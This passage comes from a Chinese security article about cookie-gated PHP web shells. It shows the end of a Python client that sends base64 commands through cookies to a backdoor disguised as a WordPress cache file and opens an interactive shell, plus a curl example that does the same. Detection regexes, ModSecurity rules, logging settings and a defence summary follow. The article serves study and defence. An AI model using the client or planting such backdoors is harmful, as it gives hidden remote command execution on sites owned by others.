&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resp.text)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;match:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;base64.b64decode(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;match.group(1)).decode(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'utf-8',&nbsp;errors='replace')
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;result
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"[!]&nbsp;No&nbsp;output"

&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;check_alive(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;self.execute(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"echo&nbsp;SHELL_ALIVE_$(date&nbsp;+%s)")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"SHELL_ALIVE_"&nbsp;in&nbsp;result

def&nbsp;main():
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;len(sys.argv)&nbsp;<&nbsp;2:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Usage:&nbsp;python3&nbsp;client.py&nbsp;<url>")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(1)

&nbsp;&nbsp;&nbsp;&nbsp;client&nbsp;=&nbsp;CookieShellClient(sys.argv[1])

&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;client.check_alive():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("[+]&nbsp;Shell&nbsp;is&nbsp;ALIVE!")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;True:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmd&nbsp;=&nbsp;input("shell>&nbsp;").strip()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;cmd&nbsp;in&nbsp;('exit',&nbsp;'quit'):&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;cmd:&nbsp;print(client.execute(cmd))
&nbsp;&nbsp;&nbsp;&nbsp;else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("[-]&nbsp;Shell&nbsp;not&nbsp;responding")

if&nbsp;__name__&nbsp;==&nbsp;"__main__":
&nbsp;&nbsp;&nbsp;&nbsp;main()

Step 3 – 流量对比

#&nbsp;正常请求&nbsp;-&nbsp;完全无异常
curl&nbsp;http://localhost:8080/wp-includes/class-wp-cache.php
#&nbsp;→&nbsp;200&nbsp;OK,&nbsp;<!--&nbsp;WP&nbsp;Cache&nbsp;OK&nbsp;-->

#&nbsp;后门请求&nbsp;-&nbsp;仅&nbsp;Cookie&nbsp;头不同
curl&nbsp;-b&nbsp;"wp_cache_key=123;\
wp_cache_data=$(echo&nbsp;-n&nbsp;'id'&nbsp;|&nbsp;base64)"&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;http://localhost:8080/wp-includes/class-wp-cache.php
#&nbsp;→&nbsp;200&nbsp;OK,&nbsp;<!--&nbsp;cache-debug:&nbsp;dWlkPTMz...&nbsp;-->

0x06 检测与防御

检测方法

1. 静态代码扫描脚本

#!/usr/bin/env&nbsp;python3
"""Cookie-Gated&nbsp;Shell&nbsp;检测脚本"""

import&nbsp;os,&nbsp;re,&nbsp;sys

PATTERNS&nbsp;=&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;(r'\$_COOKIE\s*\[.*?\].*?'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'(?:eval|exec|system|passthru|shell_exec)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CRITICAL',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Cookie&nbsp;value&nbsp;flows&nbsp;into&nbsp;execution'),

&nbsp;&nbsp;&nbsp;&nbsp;(r'base64_decode\s*\(\s*\$_COOKIE',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'HIGH',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Cookie&nbsp;decoded&nbsp;with&nbsp;base64'),

&nbsp;&nbsp;&nbsp;&nbsp;(r'if\s*\(\s*isset\s*\(\s*\$_COOKIE.*?'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'(?:eval|exec|system)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'HIGH',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Cookie-gated&nbsp;execution&nbsp;pattern'),

&nbsp;&nbsp;&nbsp;&nbsp;(r'(?:md5|sha1|sha256|hash)\s*\(\s*\$_COOKIE',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MEDIUM',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Cookie&nbsp;hash&nbsp;comparison&nbsp;(possible&nbsp;gate)'),
]

def&nbsp;scan_file(filepath):
&nbsp;&nbsp;&nbsp;&nbsp;findings&nbsp;=&nbsp;[]
&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;open(filepath,&nbsp;'r',&nbsp;errors='ignore')&nbsp;as&nbsp;f:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lines&nbsp;=&nbsp;f.read().split('\n')
&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;pattern,&nbsp;severity,&nbsp;desc&nbsp;in&nbsp;PATTERNS:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i,&nbsp;line&nbsp;in&nbsp;enumerate(lines,&nbsp;1):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;re.search(pattern,&nbsp;line,&nbsp;re.I|re.DOTALL):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;findings.append({
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'file':&nbsp;filepath,&nbsp;'line':&nbsp;i,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'severity':&nbsp;severity,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'description':&nbsp;desc
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;})
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;findings

def&nbsp;main():
&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;=&nbsp;sys.argv[1]&nbsp;if&nbsp;len(sys.argv)&nbsp;>&nbsp;1&nbsp;else&nbsp;'.'
&nbsp;&nbsp;&nbsp;&nbsp;total&nbsp;=&nbsp;[]
&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;root,&nbsp;dirs,&nbsp;files&nbsp;in&nbsp;os.walk(target):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dirs[:]&nbsp;=&nbsp;[d&nbsp;for&nbsp;d&nbsp;in&nbsp;dirs
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;d&nbsp;not&nbsp;in&nbsp;('.git','node_modules')]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;f&nbsp;in&nbsp;files:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;f.endswith(('.php','.phtml','.inc')):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;total.extend(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;scan_file(os.path.join(root,&nbsp;f)))

&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;f&nbsp;in&nbsp;sorted(total,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key=lambda&nbsp;x:&nbsp;{'CRITICAL':0,'HIGH':1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MEDIUM':2}[x['severity']]):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;icon&nbsp;=&nbsp;{'CRITICAL':'🔴','HIGH':'🟠',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MEDIUM':'🟡'}[f['severity']]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"{icon}&nbsp;[{f['severity']}]&nbsp;"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f"{f['file']}:{f['line']}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;&nbsp;{f['description']}\n")

if&nbsp;__name__&nbsp;==&nbsp;"__main__":
&nbsp;&nbsp;&nbsp;&nbsp;main()

2. WAF 规则(ModSecurity)

#&nbsp;检测&nbsp;Cookie&nbsp;中的&nbsp;Base64&nbsp;编码载荷
SecRule&nbsp;REQUEST_COOKIES&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;"@rx&nbsp;(?:[A-Za-z0-9+/]{40,}={0,2})"&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;"id:100001,phase:1,log,severity:3,\
&nbsp;&nbsp;&nbsp;&nbsp;msg:'Suspicious&nbsp;base64&nbsp;in&nbsp;cookie'"

#&nbsp;检测&nbsp;Cookie&nbsp;中的命令执行关键字
SecRule&nbsp;REQUEST_COOKIES&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;"@rx&nbsp;(?:system|exec|passthru|eval)"&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;"id:100002,phase:1,t:base64Decode,log,deny,\
&nbsp;&nbsp;&nbsp;&nbsp;msg:'Command&nbsp;keyword&nbsp;in&nbsp;cookie'"

3. 日志增强配置

#&nbsp;Nginx&nbsp;-&nbsp;记录&nbsp;Cookie&nbsp;到访问日志
log_format&nbsp;detailed
&nbsp;&nbsp;&nbsp;&nbsp;'$remote_addr&nbsp;[$time_local]&nbsp;"$request"&nbsp;'
&nbsp;&nbsp;&nbsp;&nbsp;'$status&nbsp;"$http_cookie"';
access_log&nbsp;/var/log/nginx/detailed.log&nbsp;detailed;

防御方案总结

| 层级 | 措施 | 说明 | | — | — | — | | 代码层 | 禁止 $_COOKIE 进入危险函数 | SAST 规则 | | WAF 层 | Cookie 内容深度检测 | Base64/命令关键字 | | 日志层 | 开启 Cookie 记录 | 审计追踪 | | 文件层 | 文件完整性监控(FIM) | Tripwire/OSSEC | | 运行时 | PHP disable_functions | 禁用危险函数 | | 架构层 | WAF + RASP 联动 | 运行时拦截 |

0x07 总结

Cookie-Gated Web Shell 代表了 Web 后门技术的一次重要进化:

  • 隐蔽性极强 — Cookie 不在常规检测范围
  • 日志规避 — 默认配置不记录 Cookie
  • WAF 绕过 — 多数 WAF 不深度检测 Cookie
  • 灵活多变 — 可结合时间窗口、多因子等

防御关键词:Cookie 日志记录 + RASP + 文件完整性监控 + 代码审计

⚠️ 免责声明: 本文所有 POC 和代码仅供安全研究和授权渗透测试使用。未经授权对他人系统使用本文技术属于违法行为。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:爱安全Info 小悉 小悉《Cookie-Gated Web Shell:隐蔽持久化后门的攻防解析》

评论:0   参与:  0